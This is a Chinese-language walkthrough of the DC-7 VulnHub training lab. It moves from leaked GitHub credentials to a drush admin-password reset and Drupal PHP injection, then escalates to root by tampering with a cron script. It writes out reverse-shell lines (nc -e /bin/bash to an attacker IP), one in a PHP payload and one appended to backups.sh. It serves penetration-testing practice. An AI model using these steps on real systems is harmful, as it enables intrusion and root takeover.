DC-7靶机做题记录

靶机下载地址:

链接:https://pan.baidu.com/s/1w2c_QKd_hOoR2AzNrdZjMg?pwd=tdky 
提取码:tdky 

参考:

  • DC7靶机地址:http://www.five86.com/downloads/DC-7.zip
  • DC7靶场介绍: https://www.vulnhub.com/entry/dc-7,356/
  • php插件地址:https://ftp.drupal.org/files/projects/php-8.x-1.x-dev.tar.gz
  • 【DC系列靶机DC7通关讲解】 https://www.bilibili.com/video/BV1f8411T7As/?share_source=copy_web&vd_source=12088c39299ad03109d9a21304b34fef
  • DC-7靶场下载及渗透实战详细过程(DC靶场系列)_域环境靶场下载-CSDN博客
  • DC-7 (1).pdf
  • ChatGPT

image.png
描述:

DESCRIPTION 说明
DC-7 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
DC-7是另一个专门建造的易受攻击实验室,旨在获得渗透测试领域的经验。While this isn't an overly technical challenge, it isn't exactly easy.
虽然这不是一个过于技术性的挑战,但也并不容易。While it's kind of a logical progression from an earlier DC release (I won't tell you which one), there are some new concepts involved, but you will need to figure those out for yourself. :-) If you need to resort to brute forcing or dictionary attacks, you probably won't succeed.
虽然这是早期DC版本的一个逻辑进展(我不会告诉你是哪一个),但其中涉及一些新概念,但你需要自己弄清楚。:-)如果你需要诉诸暴力或字典攻击,你可能不会成功。What you will need to do, is to think "outside" of the box.
你需要做的是跳出框框思考。Waaaaaay "outside" of the box. :-)
Waaaaaay“在盒子外面”。:-)The ultimate goal of this challenge is to get root and to read the one and only flag.
这个挑战的最终目标是扎根并阅读唯一的旗帜。Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
Linux技能和熟悉Linux命令行是必须的,有一些基本渗透测试工具的经验也是必须的。For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
对于初学者来说,谷歌可以提供很大的帮助,但你可以随时在@DCAU7上向我推特寻求帮助,让你重新开始。但请注意:我不会给你答案,相反,我会给你一个如何前进的想法。

1、导入VMware虚拟机

下载完成后,得到DC-7.ova文件,导入到VMware后,设置靶机和kali的网络连接模式为NAT模式,靶机会自动获取ip地址。

2、拍摄快照,防止后面出问题,有快照还能恢复到初始设置
image.png
3、kali创建一个目录 dc7 ,后续的操作都在该目录下进行
image.png

使用工具

攻击者:kali 192.168.1.128
靶机:dc-3 192.168.1.135

一.信息收集

基础信息查询

0x01 查看存活主机 0x02 查看开放端口 和 0x03 查看端口服务

这几条命令的用法可以看之前的博客,这里不再赘述
image.png
发现靶机192.168.1.135开放了80和22端口

判断 CMS

来到 DC7 Web ⻚⾯,可以看到 CMS 是 Drupal
image.png
再次信息收集
发现主⻚存在⼀些信息:
image.png
发现下面有一个@DC7USER
那我们就用搜索引擎去搜索一下,发现了一个Github
image.png
config.php配置文件中发现了账号密码
image.png
尝试登录web页面,发现无法登录
image.png
那就尝试SSH登录,登录成功

ssh dc7user@192.168.1.135

image.png
发现了个root用户的定时文件backups.sh,接下来看一下文件权限
image.png

ls -la /opt/scripts/

image.png

-rwxrwxr-x 1 root www-data  520 Aug 29  2019 backups.sh
root用户及其组用户(www-data)可以写入读取执行·,但其他用户没有写入的权限,只有读和执行的权限

backups.sh 内容如下 :
image.png
再回到/home/dc7user目录下查看一下,
发现 backups:备份⽂件
mbox:内容看着像⼀个定时备份,但是失败⽽保存的邮件
还有 .drush 这个目录
image.png
image.png
backups.sh 中也有 drush命令
image.png
发现了个drush命令,这个是drupal专属的一个操作系统命令,参考Drupal drush 常用命令

drush修改密码

使用这个命令需要先切换到drupal的目录

cd /var/www/html

查看用户信息
image.png
我们查看一下admin的用户信息

drush user-information admin

image.png
接下来修改admin的密码

drush upwd admin --password="admin"

image.png
然后我们登录后台,用admin管理员的账号
image.png
成功登录
image.png

反弹shell

进入后台之后,我们要写木马来进行反弹shell
点击内容,并点击编辑,看看能不能把PHP代码写进去
image.png
并未发现支持PHP代码的
image.png
这个时候我们需要安装 PHP Filter 模块
image.png
先把它下载到本地

  • php插件地址:https://ftp.drupal.org/files/projects/php-8.x-1.x-dev.tar.gz

然后拖进去进行安装
image.png
image.png
还需要再勾选一遍
image.png
这样才算成功安装
image.png
此时,页面编辑器中就出现了 PHP code
image.png
在 Body 中添加反弹shell 的pho代码

<?php system("nc -e /bin/bash 192.168.1.128 1234");?>

点击保存
image.png
现在先在我们的kali里面监听1234端口

nc -lvvnp 1234

image.png
然后访问一下 Welcome to DC-7这个页面,来让它解析PHP代码以触发反弹shell 的命令
image.png
成功反弹过来了
image.png

优化 SHELL

python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm

权限提升

修改定时脚本⽂件提权

echo "nc -e /bin/bash 192.168.1.128 4321" >> backups.sh

image.png
本地监听:

nc -lvvnp 4321

image.png
等待反弹过来即可
因为这个backups.sh的脚本是以root的身份执行的,所以弹回来的shell也是root权限的shell
提权成功!
image.png
成功获取到flag!

总结

  1. 第一步非常难,就是要找到它的Github的信息泄露
  2. 对drush的了解,可能国外的人用到就比较多
  3. 要解决它支持PHP代码的问题,需要安装支持PHP的插件
  4. 对定时任务的了解,邮件的定时任务,能够去发现一些脚本的内容

完毕!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/639600.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

AI+量化02_金融市场的基础概念

文章目录 问答之纯小白 vs GPT4Q1. 请用尽可能简短的语句或例子&#xff0c;给小白讲解宏观经济Q2. 给小白讲解资本边际效率Q3. 如果证券没有风险是否意味着没有收益&#xff1f;Q4. 芒格&#xff1a;教人炒股&#xff0c;犹如引人吸毒Q5. 给小白快速讲解&#xff1a;卡房统计量…

计算机速成课Crash Course - 21. 压缩

更多技术文章&#xff0c;全网首发公众号 “摸鱼IT” 锁定 -上午11点 - &#xff0c;感谢大家关注、转发、点赞&#xff01; 计算机速成课Crash Course - 21. 压缩 (qq.com) 今天继续计算机速成课Crash Course的系列讲解。 21. 压缩 上集我们讨论了文件格式&#xff0c;如何…

Java 8的新特性简单分享(后续有系列篇~敬请期待)

Java 8的新特性分享 Java 8是Java语言迎来的一次革命性的更新&#xff0c;引入了众多强大的新特性&#xff0c;使得Java开发变得更加现代化和便捷。在这篇博客中&#xff0c;我们将深入探讨Java 8的一些主要特性&#xff0c;并通过丰富的案例演示展示它们的用法。 1. Lambda表…

IN操作符

目录 IN NOT IN Oracle从入门到总裁:https://blog.csdn.net/weixin_67859959/article/details/135209645 IN IN 指的是根据一个指定的范围进行数据查询 1.查询出员工编号是 7369、7566、7788、9999 的员工信息 利用前面学的知识,得出: SQL> set linesize 250 SQL>…

快速了解spring boot中的@idempotent注解

目的&#xff1a;一定时间内&#xff0c;同样的请求(业务参数相同)访问同一个接口&#xff0c;则只能成功一次&#xff0c;其余被拒绝 幂等实现原理就是利用AOP面向切面编程&#xff0c;在执行业务逻辑之前插入一个方法&#xff0c;生成一个token&#xff0c;存入redis并插入到…

Docker(十一)Swarm mode

作者主页&#xff1a; 正函数的个人主页 文章收录专栏&#xff1a; Docker 欢迎大家点赞 &#x1f44d; 收藏 ⭐ 加关注哦&#xff01; Swarm mode Docker 1.12 Swarm mode 已经内嵌入 Docker 引擎&#xff0c;成为了 docker 子命令 docker swarm。请注意与旧的 Docker Swarm …

力扣509. 斐波那契数

动态规划 思路&#xff1a; 斐波那契数通式&#xff1a;F(n) F(n - 1) F(n - 2)&#xff1b;以此为状态转移方程&#xff0c;对其进行动态规划&#xff1b;边界条件&#xff1a; F(0) 0F(1) 1使用两个变量来存储上一组结果&#xff1b; class Solution { public:int fib(…

AI大模型【基础 01】智能AI开源模型与大模型接口整理(8个开源模型+7个大模型接口)

智能AI开源模型与大模型接口整理 1.说明1.1 开源模型1.2 大模型接口 2.开源模型整理2.1 ChatGLM2.2 Baichuan2.3 Qwen2.4 Yi2.5 XVERSE2.6 MOSS2.7 ChatRWKV2.8 GPT4All 3.大模型接口整理3.1 百度千帆大模型3.2 阿里模型服务灵积3.3 腾讯混元大模型3.4 科大讯飞星火大模型3.5 清…

金三银四-探秘Spring框架:挑战你对Java企业级开发的深度理解-基础篇1

又要快到一年一度的金三银四&#xff0c;开始复习啦&#xff5e;&#xff01; 每天一点点。。 目录 一、Spring框架中的Bean生命周期是什么&#xff1f; 二、Spring中的依赖注入是如何工作的&#xff1f; 三、Spring框架中AOP的概念 四、Spring框架中的事务管理是如何实现的…

[Mac软件] iShot Pro 2.4.6 for Mac强大的截图标注工具激活版

iShot是Mac上一款免费优秀、功能全面的录屏、区域截图、窗口截图、长截图、延时截图、快速标注、贴图工具。 功能介绍 区域截图、窗口截图、快捷键截图智能识别窗口&#xff0c;自动倒圆角、可自定义快捷键快速截图长截图、滚动截图选择滚动截图区域&#xff0c;然后按“S”快…

Docker安装配置OnlyOffice

OnlyOffice 是一款强大的办公套件&#xff0c;你可以通过 Docker 轻松安装和部署它。本文将指导你完成安装过程。 步骤 1&#xff1a;拉取 OnlyOffice Docker 镜像 首先&#xff0c;使用以下命令从 Docker Hub 拉取 OnlyOffice Document Server 镜像&#xff1a; sudo docke…

计算机毕业设计 基于MVC的自习室管理和预约系统的设计与实现 Java实战项目 附源码+文档+视频讲解

博主介绍&#xff1a;✌从事软件开发10年之余&#xff0c;专注于Java技术领域、Python人工智能及数据挖掘、小程序项目开发和Android项目开发等。CSDN、掘金、华为云、InfoQ、阿里云等平台优质作者✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精…

如何用数据赋能社媒营销决策?

在数字化时代&#xff0c;越来越多的商家开始意识到数据分析对于改善经营的重要性。 传统决策更多依赖过往经验、商业直觉、他人的思路模板等方法&#xff0c;或者依靠描述性统计、简单的数据分析。在数字时代&#xff0c;则通过精细化数据分析&#xff0c;做出更明智的营销决策…

LLM包含的知识

基础知识 磨刀不误砍柴工&#xff0c;LLM基础知识还是需要的。会按照历史梳理LM&#xff0c;详解BERT、GPT系列等各种预备核心知识点&#xff0c;并带着进行GPT预训练实战、位置编码&#xff08;长文本问题&#xff09;实战等。 数据工程 数据很重要&#xff0c;数据是天花板…

java基础07-final、finally和finalize的区别是什么?

1.final用于声明属性、方法和类&#xff0c;分别表示属性不可改变&#xff08;常量&#xff09;&#xff0c;方法不可覆盖&#xff0c;类不可继承。 2.finally是异常处理语句结构的一部分&#xff0c;表示总是执行。 3. finalize是java.lang.Object类的一个方法&#xff0c;在垃…

华为网络设备常用命令大全

♥️作者&#xff1a;小刘在C站 ♥️个人主页&#xff1a; 小刘主页 ♥️不能因为人生的道路坎坷,就使自己的身躯变得弯曲;不能因为生活的历程漫长,就使求索的 脚步迟缓。 ♥️学习两年总结出的运维经验&#xff0c;以及思科模拟器全套网络实验教程。专栏&#xff1a;云计算技…

在docker中配置 Linux ls 配色方案 与 shell 提示符

发行版中默认的配置一般非常合理&#xff0c;但是docker中往往忽略了这些简单的配置&#xff0c;备忘一下 1. ls 配色方案 vim &#xff5e;/.bashrc 在文件最末尾加入如下一行内容&#xff1a; export LS_COLORS"rs0:di01;34:ln01;36:mh00:pi40;33:so01;35:do01;35:bd40…

如何避免 QT 的 View/Model 模式产生消息激活的死循环?

1. 收到 QTableWidget 的 itemChanged 信号&#xff0c;关联的槽函数一般做什么工作&#xff1f; 当收到QTableWidget的itemChanged信号时&#xff0c;关联的槽函数一般用于响应单元格数据的修改。它可以执行以下一些常见的工作&#xff1a; 更新数据&#xff1a;槽函数可以获…

Rsync数据远程同步全备-增量备份

rsync是Linux系统下的数据镜像备份工具 使用快速增量备份工具Remote Sync可以远程同步&#xff0c;支持本地复制&#xff0c;或者与其他SSH、rsync主机同步。 它的特性如下&#xff1a; • 可以镜像保存整个目录树和文件系统。 • 可以很容易做到保持原来文件的权限、时间、软…

基于供水管网建模的漏损控制

1.1供水管网模型的概念和管网建模目的 供水管网系统是比较特殊的城市基础设施&#xff0c;不可见且属于压力管道。随着运行年限的增长&#xff0c;管道的过水能力和水泵的运行工况都发生了变化&#xff0c;管道的改扩建也使管网系统的结构发生了变化&#xff0c;导致系统运行状…